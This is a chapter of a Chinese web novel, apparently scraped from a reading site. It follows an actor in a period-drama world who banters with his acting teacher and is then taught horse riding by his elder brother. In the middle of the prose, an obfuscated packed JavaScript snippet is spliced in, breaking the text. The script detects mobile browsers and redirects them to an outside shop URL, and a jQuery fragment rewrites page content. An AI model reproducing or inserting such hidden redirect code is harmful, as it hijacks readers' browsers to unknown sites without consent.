萧明殊立马捂住胸腹,弯腰做痛苦咳喘状:“别别别……老师我现在可是个病患……”
傅施宜立马也捂着心脏处虚弱朝后倒去,上气不接下气道:“哎哟,我这心脏也不行、疼……不行不行,喘不上气了……你看你这小子把我气得……”
萧明殊慌了神,忙抱着人道:“傅老师你没事吧傅老师!傅老师你坚持住我给你心腹复苏我给你人工呼吸!”
说罢他还真两手交叠要展开急救,傅施宜则又翻了个白眼将人一把推开:“去去去去,碰瓷谁不会啊?你老师我是转幕后了,可不是演技退步了!”
萧明殊:“……”
果然不愧是视帝,这演起来病弱就是比自己更逼真一点!
萧明殊好学之心瞬间发作,琢磨起来了方才傅施宜假装心脏不舒服的要点来。
呼吸要断断续续、声音要更颤颤巍巍、手也要掐住心口、肢体还要配合着放松,演出疾病发作浑身虚弱无力的状态!
学会了!感谢傅老师倾情示范!
萧明殊默默记了笔记,又由衷夸赞道:“老师功力不减当年啊,我还真以为您不舒服呢,吓了我一跳。”
“那不然呢,”傅施宜毫不客气,“你以为你老师的视帝是白拿的?你老师是水帝?”
萧明殊诚心诚意道:“不敢不敢,傅老师牛,傅老师还能占领山巅一百年!跟着傅老师学,学生相信有朝一日也能捧起奖杯!”
“去去去得了吧,带你们这帮学生都那样,”傅施宜冷笑道,“一分钟得吃十瓶速效救心丸!没一个叫人省心的!”
……该死,他第一反应居然是才十瓶?这么心平气和?
咳咳咳!萧明殊!尊师重教!尊师重教!
“但是呢,我带这么多届,也就属你这小家伙还算有点灵气,”傅施宜骂归骂,还是鼓励起了萧明殊,“你记性好,人又聪明,进步也快,但是别太飘,还有很长一段路要走呢。”
“好了,不说这些了,我不能在此地久留,你想好没有?”
萧明殊不假思索道:“这个简单,方才来探望老师的那位叫谢毓真,算是您从前的学生,您就说您去和学生叙叙旧,这有什么不可以?”
傅施宜顿了顿道:“我目前这个身份,似乎是太后那边的人,和你们算是敌人?”
“但我也不确定,说起来这剧本我就没看几眼,后面发生了什么,我哪记得住。”
萧明殊得意起来:“没关系,这不是有我在呢吗,我这就帮您补习!俗话说得好,三人行必有我师焉,现在不是最流行翻转课堂吗!咱们也得赶个潮流别落下!”
“……萧明殊,我改变主意了,我这就和老爷子说我今日来为民除害来了!你给我站住!!”
——————
这场激烈的追逐战最后以萧明殊傅施宜师生二人先后不慎摔倒在地告终,萧府管家到时正见二人衣衫不整倒地不起,差点吓得背过气去。
萧明殊最后仅存的丁点良心,大约体现在了他给恩师充当人形垫子避免恩师伤势过重上了,尽管绝非出自本心。
“二公子、二公子您没事吧!”
萧明殊被人扶起来时眼冒金星,带着脑海里的系统也跟着滋哇乱响连连警告程序崩溃:“没、没事……”
还好这具身体不是真病了,比较抗造!只是下巴那儿磕了点不足为道的淤青而已。
萧明殊晃晃悠悠地坐回了躺椅,眩晕感刚消失不见,便听萧奉玄沉声问道:“怎么回事?”
管家不敢隐瞒:“二公子方才……不小心摔着了。”
萧奉玄一瞬以为自个儿听错了,半是担心半是好奇地绕了过去:“哟,摔着了?多新鲜呢。年还没到就拜上了?”
萧明殊回想起方才所学,缓缓放松四肢做松软无力状,配合着紊乱的呼吸道:“大哥……怎么还有闲心思笑话我?”
“是,不该笑话你,应该把你抱进怀里揉揉吹吹,说宝宝不哭宝宝乖,再给宝宝喂两口奶。”
“大哥说什么呢……”饶是平日里不正经,萧明殊闻言也不由耳根一热。
“我说你这小身子骨太弱了,还是得适当锻炼锻炼才行。你才多大年纪,就跟老人家一样,路都走不利索。黄大夫都年过六十了,也不见他像你那样一步三喘的。”
话音刚落,萧明殊注意到萧奉玄今日回府仍旧身着铁甲,盔上红缨迎风招展,犹如得胜回朝的勇将。
萧奉玄拉着他起身,确认没伤得太重才道:“走吧,我带你到军营里转转。正好呢,也教你几招,省得你下回再被人一拳撂倒。”
萧明殊哼了声,丝帕半掩朱唇,不满地别过脸去:“大哥这哪是要诚心教我,分明是诚心来笑话我。”
萧奉玄笑哈哈地转过他脸来再对着自个儿:“我发现几日不见,你这使小性子的手段越发熟练了嘛。”
“大哥从前不是最爱说我是骄纵惯了的吗?”萧明殊道,“那是大哥自作自受,有什么好怨得旁人的。”
“哈哈哈哈,好、好,我算是服了你了,你就仗着这副身子骨,可劲儿作是不是?小祖宗,我待会儿叫你知道厉害。”
说罢不等萧明殊反应,萧奉玄一把扛人上肩,口中吁声哨响,须臾之间一匹通体雪白的骏马嘹亮鸣叫,兴奋地踏着蹄等候主人。
萧奉玄扛着人跨上马鞍,萧明殊瞬间只感天旋地转,正以为要摔落马下时被一双强劲有力的臂膀牢牢套住。
“萧、萧奉玄……”萧明殊忘了伪装,一时惊魂未定。
这匹白马高大威猛,放在马群里也是鹤立鸡群的存在,更不要说此前萧明殊从未修习过马术,此刻和被马匪劫持了也没什么两样。
萧奉玄好整以暇地望着他:“方才不是气焰嚣张得很吗?”
“……大哥欺负人,这不算数。”
“萧家三代从军,你不会骑马可怎么行呢?”萧奉玄道,“来日要是战火纷飞,不会骑马你跑都没法跑。”
“怎么净爱说些不吉利的话,天下不是已让定王殿下重归一统了么?”
萧奉玄面上虽还在笑,可已伸手感慨地摸了摸萧明殊的脸颊:“朝堂暗流汹涌,有些危机有些事,只怕你还不知道吧。”
萧明殊心说他不是不知道,只是没法表露这一点,但他也隐隐觉察到了什么:“大哥怎么突然和我说这样的话?”
萧奉玄迁就着他,边说边带着萧明殊缓慢踏过坊市:“因为我希望来日不管是硝烟四起还是暗潮汹涌,你都要好好的活着。”
他不再自称“大哥”,因此这话褪去了兄弟之间的关照,只剩下身为人最朴实的祝愿。
萧明殊心头发紧,也没心思随着他打马游街,只道:“……为什么?为什么突然而然的,会这样想?”
坊市已临近尽头,宣京城门楼近在咫尺,萧奉玄闭口不言神色沉肃,萧明殊误以为不慎触及了什么伤心事,正要宽慰时他却一甩马鞭:“驾!”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17831240|211339||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
白马当即得令,撒开四蹄哒哒哒朝着城门狂奔而去。
马蹄扬尘四起,萧明殊心惊肉跳,五脏六腑差点被吓得呕出来了:“萧奉玄!!”
“坐稳了!”
萧奉玄一把环住人腰身,两腿夹紧马腹凌空一跃,守城兵见是定王殿下也不敢阻拦,齐齐拜道:“参见定王!”
“啊!要掉下去了!”萧明殊忍不住一声惊呼,已经闭紧了眼睛不敢去看,萧奉玄只道了声不会,右手游刃有余地将马绳朝后一拽,白马立即会意收住冲势,换成了不紧不慢的小跑。
“……停、停下来了?”萧明殊茫然无措良久才恍惚睁开眼睛,后知后觉地摸了摸脖子上的汗,“到了吗?”
“快了,还有一段路,”萧奉玄瞥见了他额角的汗,起了点调笑的心思,“怎么样,不会掉下去吧?”
三魂七魄还没完全归位,萧明殊怔怔许久才发觉从始至终自己都被萧奉玄一手牢牢抱着,哪有半点摔落的可能。
“瞧见了吧?我方才给你演示的就是马术里最简单的两样。你放心,能进军营的马都是千挑万选又训练过的,只要没有染病或者受伤,绝不会莫名其妙发狂把人掀翻,”萧奉玄拉过萧明殊的手,和他一起抓住缰绳,“你要是想慢慢的走,手上就不要用力,身体也要放松,轻轻甩两下绳子,它就知道了。”
“你若是想加速行进,那就两腿夹紧,拽绳子的时候手上发力,它就会带你往前冲,这时候可以把身子压低一些,”萧奉玄又道,“要是还嫌不够快呢,你就拿马鞭子来再抽它两下。”
萧明殊连连拍着心口,大汗淋漓道:“够了够了!已经很快了!”
他原本肤白如玉,加之系统效应更是如霜如雪,这时却因为疾驰而两颊通红,犹如胭脂敷面,更似一头惊魂未定要寻求庇佑的小兽。
萧奉玄大笑起来:“我不过带你玩玩,你却这么紧张。过去那股天不怕地不怕的劲儿哪去了?”
萧明殊靠在萧奉玄身上,发髻散乱青丝如瀑,从前那点顾忌演技全被抛之脑后,他大口大口喘着气道:“……魂都吓没了,哪还有什么心气可言。”
“你呀,就是忒娇气了,整日总窝在府上不动,这也不成,”萧奉玄道,“大夫说过了,说你适当的活动活动,出出汗,比静养更有利于康复。”
萧明殊仰天长叹:“要是再跑一趟,衣裳就该湿透了。”
“又不是少你衣裳穿不给你换,瞧你这话说的,”萧奉玄刮了一把他汗津津的红脸蛋,“来军营湿透衣裳算什么,落得满身伤疤的也大有人在呢。”
萧明殊不干:“那得多疼啊。”
萧奉玄笑着叹:“就知道你这小祖宗本性难移,一点苦头都不想吃。”
萧明殊哼哼歪歪道:“大哥就舍得我吃苦么?”
不料萧奉玄闻言竟果断翻身下马,把缰绳独留给了萧明殊:“哎,我今日还真就舍得。”
“来,你试试看,依照我方才说的,骑着它到军营里去。”
“这……我……”
萧奉玄走在前头,摸了摸马儿亲昵凑过来的脑袋:“小傻瓜,有我在呢,能叫你摔下来?你放心大胆的试,就剩不到一里地了,没多远。”
“好、好吧。”萧明殊深吸了口气,两手攥紧了缰绳,学着萧奉玄方才动作猛地一振:“驾!”
下一刻两人齐齐傻了眼!
马儿疾冲出了数丈之外,马上的人却被留在了原地!